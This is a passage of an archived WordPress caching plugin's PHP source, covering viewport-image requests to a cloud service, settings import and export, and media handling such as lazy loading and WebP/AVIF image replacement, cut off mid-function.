analyze for VPI. * @param string $queue_k Queue key for this job. * @param string $user_agent Sanitized User-Agent string (<=200 chars). * @param bool $is_mobile Whether the job is for mobile viewport. * @return bool|string True on queued successfully, 'out_of_quota'/'svc_hot' on throttling, or false on error. */ private function _send_req( $request_url, $queue_k, $user_agent, $is_mobile ) { $svc = Cloud::SVC_VPI; // Check if has credit to push or not. $err = false; $allowance = $this->cls( 'Cloud' )->allowance( $svc, $err ); if ( ! $allowance ) { self::debug( '❌ No credit: ' . $err ); $err && Admin_Display::error( Error::msg( $err ) ); return 'out_of_quota'; } set_time_limit( 120 ); // Update request status. self::save_summary( [ 'curr_request_vpi' => time() ], true ); // Gather guest HTML to send. $html = $this->cls( 'CSS' )->prepare_html( $request_url, $user_agent ); if ( ! $html ) { return false; } // Parse HTML to gather CSS content before requesting. $css = false; list( $css, $html ) = $this->cls( 'CSS' )->prepare_css( $html ); if ( ! $css ) { self::debug( '❌ No css' ); return false; } $data = [ 'url' => $request_url, 'queue_k' => $queue_k, 'user_agent' => $user_agent, 'is_mobile' => $is_mobile ? 1 : 0, // todo: compatible w/ tablet. 'html' => $html, 'css' => $css, ]; self::debug( 'Generating: ', $data ); $json = Cloud::post( $svc, $data, 30 ); if ( ! is_array( $json ) ) { return $json; } // Unknown status, remove this line. if ( 'queued' !== $json['status'] ) { return false; } // Save summary data. self::reload_summary(); $this->_summary['last_spent_vpi'] = time() - (int) $this->_summary['curr_request_vpi']; $this->_summary['last_request_vpi'] = $this->_summary['curr_request_vpi']; $this->_summary['curr_request_vpi'] = 0; self::save_summary(); return true; } /** * Handle all request actions from main controller. * * @since 4.7 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GEN: self::cron( true ); break; case self::TYPE_CLEAR_Q: $this->clear_q( 'vpi' ); break; default: break; } Admin::redirect(); } } ��������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/import.cls.php����������������������������������������������������������0000644�����������������00000010453�15233526476�0014656 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The import/export class. * * @since 1.8.2 */ namespace LiteSpeed; defined('WPINC') || exit(); class Import extends Base { protected $_summary; const TYPE_IMPORT = 'import'; const TYPE_EXPORT = 'export'; const TYPE_RESET = 'reset'; /** * Init * * @since 1.8.2 */ public function __construct() { Debug2::debug('Import init'); $this->_summary = self::get_summary(); } /** * Export settings to file * * @since 1.8.2 * @since 7.3 added download content type * @access public */ public function export( $only_data_return = false ) { $raw_data = $this->get_options(true); $data = array(); foreach ($raw_data as $k => $v) { $data[] = \json_encode(array( $k, $v )); } $data = implode("\n\n", $data); if ($only_data_return) { return $data; } $filename = $this->_generate_filename(); // Update log $this->_summary['export_file'] = $filename; $this->_summary['export_time'] = time(); self::save_summary(); Debug2::debug('Import: Saved to ' . $filename); @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename=' . $filename); echo $data; exit(); } /** * Import settings from file * * @since 1.8.2 * @access public */ public function import( $file = false ) { if (!$file) { if (empty($_FILES['ls_file']['name']) || substr($_FILES['ls_file']['name'], -5) != '.data' || empty($_FILES['ls_file']['tmp_name'])) { Debug2::debug('Import: Failed to import, wrong ls_file'); $msg = __('Import failed due to file error.', 'litespeed-cache'); Admin_Display::error($msg); return false; } $this->_summary['import_file'] = $_FILES['ls_file']['name']; $data = file_get_contents($_FILES['ls_file']['tmp_name']); } else { $this->_summary['import_file'] = $file; $data = file_get_contents($file); } // Update log $this->_summary['import_time'] = time(); self::save_summary(); $ori_data = array(); try { // Check if the data is v4+ or not if (strpos($data, '["_version",') === 0) { Debug2::debug('[Import] Data version: v4+'); $data = explode("\n", $data); foreach ($data as $v) { $v = trim($v); if (!$v) { continue; } list($k, $v) = \json_decode($v, true); $ori_data[$k] = $v; } } else { $ori_data = \json_decode(base64_decode($data), true); } } catch (\Exception $ex) { Debug2::debug('[Import] ❌ Failed to parse serialized data'); return false; } if (!$ori_data) { Debug2::debug('[Import] ❌ Failed to import, no data'); return false; } else { Debug2::debug('[Import] Importing data', $ori_data); } $this->cls('Conf')->update_confs($ori_data); if (!$file) { Debug2::debug('Import: Imported ' . $_FILES['ls_file']['name']); $msg = sprintf(__('Imported setting file %s successfully.', 'litespeed-cache'), $_FILES['ls_file']['name']); Admin_Display::success($msg); } else { Debug2::debug('Import: Imported ' . $file); } return true; } /** * Reset all configs to default values. * * @since 2.6.3 * @access public */ public function reset() { $options = $this->cls('Conf')->load_default_vals(); $this->cls('Conf')->update_confs($options); Debug2::debug('[Import] Reset successfully.'); $msg = __('Reset successfully.', 'litespeed-cache'); Admin_Display::success($msg); } /** * Generate the filename to export * * @since 1.8.2 * @access private */ private function _generate_filename() { // Generate filename $parsed_home = parse_url(get_home_url()); $filename = 'LSCWP_cfg-'; if (!empty($parsed_home['host'])) { $filename .= $parsed_home['host'] . '_'; } if (!empty($parsed_home['path'])) { $filename .= $parsed_home['path'] . '_'; } $filename = str_replace('/', '_', $filename); $filename .= '-' . date('Ymd_His') . '.data'; return $filename; } /** * Handle all request actions from main cls * * @since 1.8.2 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_IMPORT: $this->import(); break; case self::TYPE_EXPORT: $this->export(); break; case self::TYPE_RESET: $this->reset(); break; default: break; } Admin::redirect(); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/media.cls.php�����������������������������������������������������������0000644�����������������00000130126�15233526476�0014423 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The class to operate media data. * * @package LiteSpeed * @since 1.4 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Media * * Handles media-related optimizations like lazy loading, next-gen image replacement, and admin UI. */ class Media extends Root { const LOG_TAG = '📺'; const LIB_FILE_IMG_LAZYLOAD = 'assets/js/lazyload.min.js'; const TYPE_BATCH_RESCALE_ORI = 'batch_rescale_ori'; /** * Current page buffer content. * * @var string */ private $content; /** * WordPress uploads directory info. * * @var array */ private $_wp_upload_dir; /** * List of VPI (viewport images) to preload in <head>. * * @var array */ private $_vpi_preload_list = []; /** * The user-level next-gen format supported (''|webp|avif). * * @var string */ private $_format = ''; /** * The system-level chosen next-gen format (webp|avif). * * @var string */ private $_sys_format = ''; /** * Init. * * @since 1.4 */ public function __construct() { self::debug2( 'init' ); $this->_wp_upload_dir = wp_upload_dir(); if ( $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $this->_sys_format = 'webp'; $this->_format = 'webp'; if ( 2 === $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $this->_sys_format = 'avif'; $this->_format = 'avif'; } if ( ! $this->_browser_support_next_gen() ) { $this->_format = ''; } $this->_format = apply_filters( 'litespeed_next_gen_format', $this->_format ); } } /** * Hooks after user init. * * @since 7.2 * @since 7.4 Add media replace original with scaled. * @return void */ public function after_user_init() { // Hook to attachment delete action (PR#844, Issue#841) for AJAX del compatibility. add_action( 'delete_attachment', [ $this, 'delete_attachment' ], 11, 2 ); // For big images, allow to replace original with scaled image. if ( $this->conf( Base::O_MEDIA_AUTO_RESCALE_ORI ) ) { // Added priority 9 to happen before other functions added. add_filter( 'wp_update_attachment_metadata', [ $this, 'rescale_ori' ], 9, 2 ); } } /** * Init optm features. * * @since 3.0 * @access public * @return void */ public function init() { if ( is_admin() ) { return; } // Due to ajax call doesn't send correct accept header, have to limit webp to HTML only. if ( $this->webp_support() ) { // Hook to srcset. if ( function_exists( 'wp_calculate_image_srcset' ) ) { add_filter( 'wp_calculate_image_srcset', [ $this, 'webp_srcset' ], 988 ); } // Hook to mime icon // add_filter( 'wp_get_attachment_image_src', [ $this, 'webp_attach_img_src' ], 988 );// todo: need to check why not // add_filter( 'wp_get_attachment_url', [ $this, 'webp_url' ], 988 ); // disabled to avoid wp-admin display } if ( $this->conf( Base::O_MEDIA_LAZY ) && ! $this->cls( 'Metabox' )->setting( 'litespeed_no_image_lazy' ) ) { self::debug( 'Suppress default WP lazyload' ); add_filter( 'wp_lazy_loading_enabled', '__return_false' ); } /** * Replace gravatar. * * @since 3.0 */ $this->cls( 'Avatar' ); add_filter( 'litespeed_buffer_finalize', [ $this, 'finalize' ], 4 ); add_filter( 'litespeed_optm_html_head', [ $this, 'finalize_head' ] ); } /** * Handle attachment create (rescale original). * * @param array $metadata Current meta array. * @param int $attachment_id Attachment ID. * @return array Modified metadata. * @since 7.4 */ public function rescale_ori( $metadata, $attachment_id ) { // Test if create and image was resized. if ( $metadata && isset( $metadata['original_image'], $metadata['file'] ) && false !== strpos( $metadata['file'], '-scaled' ) ) { // Get rescaled file name. $path_exploded = explode( '/', strrev( $metadata['file'] ), 2 ); $rescaled_file_name = strrev( $path_exploded[0] ); // Create paths for images: resized and original. $base_path = $this->_wp_upload_dir['basedir'] . $this->_wp_upload_dir['subdir'] . '/'; $rescaled_path = $base_path . $rescaled_file_name; $new_path = $base_path . $metadata['original_image']; // Change array file key. $metadata['file'] = $this->_wp_upload_dir['subdir'] . '/' . $metadata['original_image']; if ( 0 === strpos( $metadata['file'], '/' ) ) { $metadata['file'] = substr( $metadata['file'], 1 ); } // Delete array "original_image" key. unset( $metadata['original_image'] ); if ( file_exists( $rescaled_path ) && file_exists( $new_path ) ) { // Move rescaled to original using WP_Filesystem. global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php'; \WP_Filesystem(); } if ( $wp_filesystem ) { $wp_filesystem->move( $rescaled_path, $new_path, true ); } // Update meta "_wp_attached_file". update_post_meta( $attachment_id, '_wp_attached_file', $metadata['file'] ); } } return $metadata; } /** * Route media actions. * * @since 7.7 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_BATCH_RESCALE_ORI: $this->_batch_rescale_ori(); break; default: break; } Admin::redirect(); } /** * Batch replace all scaled images with their originals. * * Follows the rm_bkup() pagination pattern. * * @since 7.7 * @access private */ private function _batch_rescale_ori() { global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; $count = 0; $img_q = "SELECT a.ID, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d, %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ) ); foreach ( $list as $v ) { if ( ! $v->ID || ! $v->meta_value ) { continue; } // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $meta_value = @maybe_unserialize( $v->meta_value ); if ( ! is_array( $meta_value ) ) { continue; } if ( empty( $meta_value['original_image'] ) || empty( $meta_value['file'] ) || false === strpos( $meta_value['file'], '-scaled' ) ) { continue; } $attachment_id = $v->ID; // Extract subdirectory from metadata file path (e.g. "2024/05/photo-scaled.jpg" → "2024/05"). $subdir = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ); // Build relative paths for rename(). $scaled_filename = basename( $meta_value['file'] ); $scaled_path = $subdir . '/' . $scaled_filename; $original_path = $subdir . '/' . $meta_value['original_image']; // Verify scaled file exists before proceeding // TODO: need to ues isfile func to allow hook from offload plugins $basedir = $this->_wp_upload_dir['basedir'] . '/'; if ( ! file_exists( $basedir . $scaled_path ) ) { self::debug( 'Skipped: scaled file missing [pid] ' . $attachment_id ); continue; } // Move scaled file → original file using WP_Filesystem via rename(). $this->rename( $scaled_path, $original_path, $attachment_id ); // Update metadata: point file to original, remove original_image key. $meta_value['file'] = $subdir . '/' . $meta_value['original_image']; unset( $meta_value['original_image'] ); wp_update_attachment_metadata( $attachment_id, $meta_value ); update_post_meta( $attachment_id, '_wp_attached_file', $meta_value['file'] ); ++$count; } self::debug( 'batch_rescale_ori offset=' . $offset . ' processed=' . $count ); // Check if there are more rows to process. ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_MEDIA, self::TYPE_BATCH_RESCALE_ORI ); } Admin_Display::success( sprintf( __( 'Batch rescale completed.', 'litespeed-cache' ) ) ); } /** * Add featured image and VPI preloads to head. * * @param string $content Current head HTML. * @return string Modified head HTML. */ public function finalize_head( $content ) { // <link rel="preload" as="image" href="xx"> if ( $this->_vpi_preload_list ) { foreach ( $this->_vpi_preload_list as $v ) { $content .= '<link rel="preload" as="image" href="' . esc_url( Str::trim_quotes( $v ) ) . '">'; } } return $content; } /** * Adjust WP default JPG quality. * * @since 3.0 * @access public * * @param int $quality Current quality. * @return int Adjusted quality. */ public function adjust_jpg_quality( $quality ) { $v = $this->conf( Base::O_IMG_OPTM_JPG_QUALITY ); if ( $v ) { return $v; } return $quality; } /** * Register admin menu. * * @since 1.6.3 * @access public * @return void */ public function after_admin_init() { /** * JPG quality control. * * @since 3.0 */ add_filter( 'jpeg_quality', [ $this, 'adjust_jpg_quality' ] ); add_filter( 'manage_media_columns', [ $this, 'media_row_title' ] ); add_filter( 'manage_media_custom_column', [ $this, 'media_row_actions' ], 10, 2 ); add_action( 'litespeed_media_row', [ $this, 'media_row_con' ] ); } /** * Media delete action hook. * * @since 2.4.3 * @access public * * @param int $post_id Post ID. * @return void */ public static function delete_attachment( $post_id ) { self::debug( 'delete_attachment [pid] ' . $post_id ); Img_Optm::cls()->reset_row( $post_id ); } /** * Return media file info if exists. * * This is for remote attachment plugins. * * @since 2.9.8 * @access public * * @param string $short_file_path Relative file path under uploads. * @param int $post_id Post ID. * @return array|false Array( url, md5, size ) or false. */ public function info( $short_file_path, $post_id ) { $short_file_path = wp_normalize_path( $short_file_path ); $basedir = $this->_wp_upload_dir['basedir'] . '/'; if ( 0 === strpos( $short_file_path, $basedir ) ) { $short_file_path = substr( $short_file_path, strlen( $basedir ) ); } $real_file = $basedir . $short_file_path; if ( file_exists( $real_file ) ) { return [ 'url' => $this->_wp_upload_dir['baseurl'] . '/' . $short_file_path, 'md5' => md5_file( $real_file ), 'size' => filesize( $real_file ), ]; } /** * WP Stateless compatibility #143 https://github.com/litespeedtech/lscache_wp/issues/143 * * @since 2.9.8 * Should return array( 'url', 'md5', 'size' ). */ $info = apply_filters( 'litespeed_media_info', [], $short_file_path, $post_id ); if ( ! empty( $info['url'] ) && ! empty( $info['md5'] ) && ! empty( $info['size'] ) ) { return $info; } return false; } /** * Delete media file. * * @since 2.9.8 * @access public * * @param string $short_file_path Relative file path under uploads. * @param int $post_id Post ID. * @return void */ public function del( $short_file_path, $post_id ) { $real_file = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path; if ( file_exists( $real_file ) ) { wp_delete_file( $real_file ); self::debug( 'deleted ' . $real_file ); } do_action( 'litespeed_media_del', $short_file_path, $post_id ); } /** * Rename media file. * * @since 2.9.8 * @access public * * @param string $short_file_path Old relative path. * @param string $short_file_path_new New relative path. * @param int $post_id Post ID. * @return void */ public function rename( $short_file_path, $short_file_path_new, $post_id ) { $real_file = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path; $real_file_new = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path_new; if ( file_exists( $real_file ) ) { global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php'; \WP_Filesystem(); } if ( $wp_filesystem ) { $wp_filesystem->move( $real_file, $real_file_new, true ); } self::debug( 'renamed ' . $real_file . ' to ' . $real_file_new ); } do_action( 'litespeed_media_rename', $short_file_path, $short_file_path_new, $post_id ); } /** * Media Admin Menu -> Image Optimization Column Title. * * @since 1.6.3 * @access public * * @param array $posts_columns Existing columns. * @return array Modified columns. */ public function media_row_title( $posts_columns ) { $posts_columns['imgoptm'] = esc_html__( 'LiteSpeed Optimization', 'litespeed-cache' ); return $posts_columns; } /** * Media Admin Menu -> Image Optimization Column. * * @since 1.6.2 * @access public * * @param string $column_name Current column name. * @param int $post_id Post ID. * @return void */ public function media_row_actions( $column_name, $post_id ) { if ( 'imgoptm' !== $column_name ) { return; } do_action( 'litespeed_media_row', $post_id ); } /** * Display image optimization info in the media list row. * * @since 3.0 * * @param int $post_id Attachment post ID. * @return void */ public function media_row_con( $post_id ) { $att_info = wp_get_attachment_metadata( $post_id ); if ( empty( $att_info['file'] ) ) { return; } $short_path = $att_info['file']; $size_meta = get_post_meta( $post_id, Img_Optm::DB_SIZE, true ); echo '<p>'; // Original image info. if ( $size_meta && ! empty( $size_meta['ori_saved'] ) ) { $percent = (int) ceil( ( (int) $size_meta['ori_saved'] * 100 ) / max( 1, (int) $size_meta['ori_total'] ) ); $extension = pathinfo( $short_path, PATHINFO_EXTENSION ); $bk_file = substr( $short_path, 0, -strlen( $extension ) ) . 'bk.' . $extension; $bk_optm_file = substr( $short_path, 0, -strlen( $extension ) ) . 'bk.optm.' . $extension; $link = Utility::build_url( Router::ACTION_IMG_OPTM, 'orig' . $post_id ); $desc = false; $cls = ''; if ( $this->info( $bk_file, $post_id ) ) { $curr_status = esc_html__( '(optm)', 'litespeed-cache' ); $desc = esc_attr__( 'Currently using optimized version of file.', 'litespeed-cache' ) . ' ' . esc_attr__( 'Click to switch to original (unoptimized) version.', 'litespeed-cache' ); } elseif ( $this->info( $bk_optm_file, $post_id ) ) { $cls .= ' litespeed-warning'; $curr_status = esc_html__( '(non-optm)', 'litespeed-cache' ); $desc = esc_attr__( 'Currently using original (unoptimized) version of file.', 'litespeed-cache' ) . ' ' . esc_attr__( 'Click to switch to optimized version.', 'litespeed-cache' ); } echo wp_kses( GUI::pie_tiny( $percent, 24, sprintf( esc_html__( 'Original file reduced by %1$s (%2$s)', 'litespeed-cache' ), $percent . '%', Utility::real_size( $size_meta['ori_saved'] ) ), 'left' ), GUI::allowed_svg_tags() ); printf( esc_html__( 'Orig saved %s', 'litespeed-cache' ), (int) $percent . '%' ); if ( $desc ) { printf( ' <a href="%1$s" class="litespeed-media-href %2$s" data-balloon-pos="left" data-balloon-break aria-label="%3$s">%4$s</a>', esc_url( $link ), esc_attr( $cls ), wp_kses_post( $desc ), esc_html( $curr_status ) ); } else { printf( ' <span class="litespeed-desc" data-balloon-pos="left" data-balloon-break aria-label="%1$s">%2$s</span>', esc_attr__( 'Using optimized version of file. ', 'litespeed-cache' ) . ' ' . esc_attr__( 'No backup of original file exists.', 'litespeed-cache' ), esc_html__( '(optm)', 'litespeed-cache' ) ); } } elseif ( $size_meta && 0 === (int) $size_meta['ori_saved'] ) { echo wp_kses( GUI::pie_tiny( 0, 24, esc_html__( 'Congratulation! Your file was already optimized', 'litespeed-cache' ), 'left' ), GUI::allowed_svg_tags() ); printf( esc_html__( 'Orig %s', 'litespeed-cache' ), '<span class="litespeed-desc">' . esc_html__( '(no savings)', 'litespeed-cache' ) . '</span>' ); } else { echo esc_html__( 'Orig', 'litespeed-cache' ) . '<span class="litespeed-left10">—</span>'; } echo '</p>'; echo '<p>'; // WebP/AVIF info. if ( $size_meta && $this->webp_support( true ) && ! empty( $size_meta[ $this->_sys_format . '_saved' ] ) ) { $is_avif = 'avif' === $this->_sys_format; $size_meta_saved = $size_meta[ $this->_sys_format . '_saved' ]; $size_meta_total = $size_meta[ $this->_sys_format . '_total' ]; $percent = ceil( ( $size_meta_saved * 100 ) / max( 1, $size_meta_total ) ); $link = Utility::build_url( Router::ACTION_IMG_OPTM, $this->_sys_format . $post_id ); $desc = false; $cls = ''; if ( $this->info( $short_path . '.' . $this->_sys_format, $post_id ) ) { $curr_status = esc_html__( '(optm)', 'litespeed-cache' ); $desc = $is_avif ? esc_attr__( 'Currently using optimized version of AVIF file.', 'litespeed-cache' ) : esc_attr__( 'Currently using optimized version of WebP file.', 'litespeed-cache' ); $desc .= ' ' . esc_attr__( 'Click to switch to original (unoptimized) version.', 'litespeed-cache' ); } elseif ( $this->info( $short_path . '.optm.' . $this->_sys_format, $post_id ) ) { $cls .= ' litespeed-warning'; $curr_status = esc_html__( '(non-optm)', 'litespeed-cache' ); $desc = $is_avif ? esc_attr__( 'Currently using original (unoptimized) version of AVIF file.', 'litespeed-cache' ) : esc_attr__( 'Currently using original (unoptimized) version of WebP file.', 'litespeed-cache' ); $desc .= ' ' . esc_attr__( 'Click to switch to optimized version.', 'litespeed-cache' ); } echo wp_kses( GUI::pie_tiny( $percent, 24, sprintf( $is_avif ? esc_html__( 'AVIF file reduced by %1$s (%2$s)', 'litespeed-cache' ) : esc_html__( 'WebP file reduced by %1$s (%2$s)', 'litespeed-cache' ), $percent . '%', Utility::real_size( $size_meta_saved ) ), 'left' ), GUI::allowed_svg_tags() ); printf( $is_avif ? esc_html__( 'AVIF saved %s', 'litespeed-cache' ) : esc_html__( 'WebP saved %s', 'litespeed-cache' ), '<span>' . esc_html( $percent ) . '%</span>' ); if ( $desc ) { printf( ' <a href="%1$s" class="litespeed-media-href %2$s" data-balloon-pos="left" data-balloon-break aria-label="%3$s">%4$s</a>', esc_url( $link ), esc_attr( $cls ), wp_kses_post( $desc ), esc_html( $curr_status ) ); } else { printf( ' <span class="litespeed-desc" data-balloon-pos="left" data-balloon-break aria-label="%1$s %2$s">%3$s</span>', esc_attr__( 'Using optimized version of file. ', 'litespeed-cache' ), $is_avif ? esc_attr__( 'No backup of unoptimized AVIF file exists.', 'litespeed-cache' ) : esc_attr__( 'No backup of unoptimized WebP file exists.', 'litespeed-cache' ), esc_html__( '(optm)', 'litespeed-cache' ) ); } } else { echo esc_html( $this->next_gen_image_title() ) . '<span class="litespeed-left10">—</span>'; } echo '</p>'; // Delete row btn. if ( $size_meta ) { printf( '<div class="row-actions"><span class="delete"><a href="%1$s" class="">%2$s</a></span></div>', esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_RESET_ROW, false, null, [ 'id' => $post_id ] ) ), esc_html__( 'Restore from backup', 'litespeed-cache' ) ); echo '</div>'; } } /** * Get wp size info. * * NOTE: this is not used because it has to be after admin_init. * * @since 1.6.2 * @return array $sizes Data for all currently-registered image sizes. */ public function get_image_sizes() { global $_wp_additional_image_sizes; $sizes = []; foreach ( get_intermediate_image_sizes() as $_size ) { if ( in_array( $_size, [ 'thumbnail', 'medium', 'medium_large', 'large' ], true ) ) { $sizes[ $_size ]['width'] = get_option( $_size . '_size_w' ); $sizes[ $_size ]['height'] = get_option( $_size . '_size_h' ); $sizes[ $_size ]['crop'] = (bool) get_option( $_size . '_crop' ); } elseif ( isset( $_wp_additional_image_sizes[ $_size ] ) ) { $sizes[ $_size ] = [ 'width' => $_wp_additional_image_sizes[ $_size ]['width'], 'height' => $_wp_additional_image_sizes[ $_size ]['height'], 'crop' => $_wp_additional_image_sizes[ $_size ]['crop'], ]; } } return $sizes; } /** * Exclude role from optimization filter. * * @since 1.6.2 * @access public * * @param bool $sys_level Return system-level format if true. * @return string Next-gen format name or empty string. */ public function webp_support( $sys_level = false ) { if ( $sys_level ) { return $this->_sys_format; } return $this->_format; // User level next gen support. } /** * Detect if browser supports next-gen format. * * @return bool */ private function _browser_support_next_gen() { $accept = isset( $_SERVER['HTTP_ACCEPT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_ACCEPT'] ) ) : ''; if ( $accept ) { if ( false !== strpos( $accept, 'image/' . $this->_sys_format ) ) { return true; } } $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; if ( $ua ) { $user_agents = [ 'chrome-lighthouse', 'googlebot', 'page speed' ]; foreach ( $user_agents as $user_agent ) { if ( false !== stripos( $ua, $user_agent ) ) { return true; } } if ( preg_match( '/iPhone OS (\d+)_/i', $ua, $matches ) ) { if ( $matches[1] >= 14 ) { return true; } } if ( preg_match( '/Macintosh.+Version\/([0-9.]+)/i', $ua, $matches ) ) { if ( version_compare( $matches[1], '16.4', '>=' ) ) { return true; } } if ( preg_match( '/Firefox\/(\d+)/i', $ua, $matches ) ) { if ( $matches[1] >= 65 ) { return true; } } } return false; } /** * Get next gen image title. * * @since 7.0 * @return string */ public function next_gen_image_title() { $next_gen_img = 'WebP'; if ( 2 === $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $next_gen_img = 'AVIF'; } return $next_gen_img; } /** * Run lazy load process. * NOTE: As this is after cache finalized, can NOT set any cache control anymore. * * Only do for main page. Do NOT do for esi or dynamic content. * * @since 1.4 * @access public * * @param string $content Final buffer. * @return string The buffer. */ public function finalize( $content ) { if ( defined( 'LITESPEED_NO_LAZY' ) ) { self::debug2( 'bypass: NO_LAZY const' ); return $content; } if ( ! defined( 'LITESPEED_IS_HTML' ) ) { self::debug2( 'bypass: Not frontend HTML type' ); return $content; } if ( ! Control::is_cacheable() ) { self::debug( 'bypass: Not cacheable' ); return $content; } self::debug( 'finalize' ); $this->content = $content; $this->_finalize(); return $this->content; } /** * Run lazyload replacement for images in buffer. * * @since 1.4 * @access private * @return void */ private function _finalize() { /** * Use webp for optimized images. * * @since 1.6.2 */ if ( $this->webp_support() ) { $this->content = $this->_replace_buffer_img_webp( $this->content ); } /** * Check if URI is excluded. * * @since 3.0 */ $excludes = $this->conf( Base::O_MEDIA_LAZY_URI_EXC ); if ( ! defined( 'LITESPEED_GUEST_OPTM' ) ) { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = $request_uri ? Utility::str_hit_array( $request_uri, $excludes ) : false; if ( $result ) { self::debug( 'bypass lazyload: hit URI Excludes setting: ' . $result ); return; } } $cfg_lazy = ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_MEDIA_LAZY ) ) && ! $this->cls( 'Metabox' )->setting( 'litespeed_no_image_lazy' ); $cfg_iframe_lazy = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_MEDIA_IFRAME_LAZY ); $cfg_js_delay = defined( 'LITESPEED_GUEST_OPTM' ) || 2 === $this->conf( Base::O_OPTM_JS_DEFER ); $cfg_trim_noscript = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_OPTM_NOSCRIPT_RM ); $cfg_vpi = defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_MEDIA_VPI ); // Preload VPI. if ( $cfg_vpi ) { $this->_parse_img_for_preload(); } if ( $cfg_lazy ) { if ( $cfg_vpi ) { add_filter( 'litespeed_media_lazy_img_excludes', [ $this->cls( 'Metabox' ), 'lazy_img_excludes' ] ); } list( $src_list, $html_list, $placeholder_list ) = $this->_parse_img(); $html_list_ori = $html_list; } else { self::debug( 'lazyload disabled' ); } // image lazy load. if ( $cfg_lazy ) { $__placeholder = Placeholder::cls(); foreach ( $html_list as $k => $v ) { $size = $placeholder_list[ $k ]; $src = $src_list[ $k ]; $html_list[ $k ] = $__placeholder->replace( $v, $src, $size ); } } if ( $cfg_lazy ) { $this->content = str_replace( $html_list_ori, $html_list, $this->content ); } // iframe lazy load. if ( $cfg_iframe_lazy ) { $html_list = $this->_parse_iframe(); $html_list_ori = $html_list; foreach ( $html_list as $k => $v ) { $snippet = $cfg_trim_noscript ? '' : '<noscript>' . $v . '</noscript>'; if ( $cfg_js_delay ) { $v = str_replace( ' src=', ' data-litespeed-src=', $v ); } else { $v = str_replace( ' src=', ' data-src=', $v ); } $v = str_replace( '<iframe ', '<iframe data-lazyloaded="1" src="about:blank" ', $v ); $snippet = $v . $snippet; $html_list[ $k ] = $snippet; } $this->content = str_replace( $html_list_ori, $html_list, $this->content ); } // Include lazyload lib js and init lazyload. if ( $cfg_lazy || $cfg_iframe_lazy ) { $lazy_lib = '<script data-no-optimize="1">window.lazyLoadOptions=Object.assign({},{threshold:' . apply_filters( 'litespeed_lazyload_threshold', 300 ) . '},window.lazyLoadOptions||{});' . File::read( LSCWP_DIR . self::LIB_FILE_IMG_LAZYLOAD ) . '</script>'; if ( $cfg_js_delay ) { // Load JS delay lib. if ( ! defined( 'LITESPEED_JS_DELAY_LIB_LOADED' ) ) { define( 'LITESPEED_JS_DELAY_LIB_LOADED', true ); $lazy_lib .= '<script data-no-optimize="1">' . File::read( LSCWP_DIR . Optimize::LIB_FILE_JS_DELAY ) . '</script>'; } } $this->content = str_replace( '</body>', $lazy_lib . '</body>', $this->content ); } } /** * Parse img src for VPI preload only. * Note: Didn't reuse the _parse_img() because it contains replacement logic which is not needed for preload. * * @since 6.2 * @since 7.6 - Added attributes fetchpriority="high" and decode="sync" for VPI images. * @return void */ private function _parse_img_for_preload() { // Load VPI setting. $is_mobile = $this->_separate_mobile(); $vpi_files = $this->cls( 'Metabox' )->setting( $is_mobile ? VPI::POST_META_MOBILE : VPI::POST_META ); if ( $vpi_files ) { $vpi_files = Utility::sanitize_lines( $vpi_files, 'basename' ); } if ( ! $vpi_files ) { return; } if ( ! $this->content ) { return; } $content = preg_replace( [ '#<!--.*-->#sU', '#<noscript([^>]*)>.*</noscript>#isU' ], '', $this->content ); if ( ! $content ) { return; } $vpi_fp_search = []; $vpi_fp_replace = []; preg_match_all('#<img\s+([^>]+)/?>#isU', $content, $matches, PREG_SET_ORDER); foreach ($matches as $match) { $attrs = Utility::parse_attr($match[1]); if ( empty( 